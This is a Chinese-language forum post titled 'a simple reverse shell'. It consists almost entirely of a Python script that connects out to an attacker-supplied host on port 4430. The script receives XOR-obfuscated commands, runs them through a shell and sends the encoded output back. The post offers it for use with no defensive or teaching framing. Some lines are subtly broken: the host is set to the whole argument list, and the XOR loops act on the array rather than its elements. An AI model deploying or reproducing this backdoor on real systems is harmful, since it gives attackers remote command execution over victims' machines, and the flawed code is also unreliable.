论坛 › Shell/Powershell › 一个简单的反向shell

tangbinde 发表于 2018-8-29 10:55:33

一个简单的反向shell

#!/usr/bin/python3　　
import socket
　　
import subprocess
　　
import sys
　　

　　
RHOST = sys.argv
　　
RPORT = 4430
　　
ENCODE = sys.getfilesystemencoding()
　　
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
　　
s.connect((RHOST, RPORT))
　　
while True:
　　
    # receive XOR encoded data from network socket
　　
    data = s.recv(1024)
　　
    # XOR the data again with a '\x41' to get back to normal data
　　
    en_data = bytearray(data)
　　
    for i in range(len(en_data)):
　　
      en_data ^= 0x41
　　
    # Execute the decode data as a command.
　　
    # The subprocess module is great because we can PIPE STDOUT/STDERR/STDIN to a variable
　　
    comm = subprocess.Popen(en_data.decode('utf-8'), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
　　
                            stdin=subprocess.PIPE)
　　
    comm.wait()
　　
    STDOUT, STDERR = comm.communicate()
　　
    print(STDERR.decode(ENCODE))
　　
    print(STDOUT.decode(ENCODE))
　　
    # Encode the output and send to RHOST
　　
    en_STDOUT = bytearray((STDOUT.decode(ENCODE)+STDERR.decode(ENCODE)).encode('utf-8'))
　　
    for i in range(len(en_STDOUT)):
　　
      en_STDOUT ^= 0x41
　　
    s.send(en_STDOUT)
　　
s.close()

查看完整版本: 一个简单的反向shell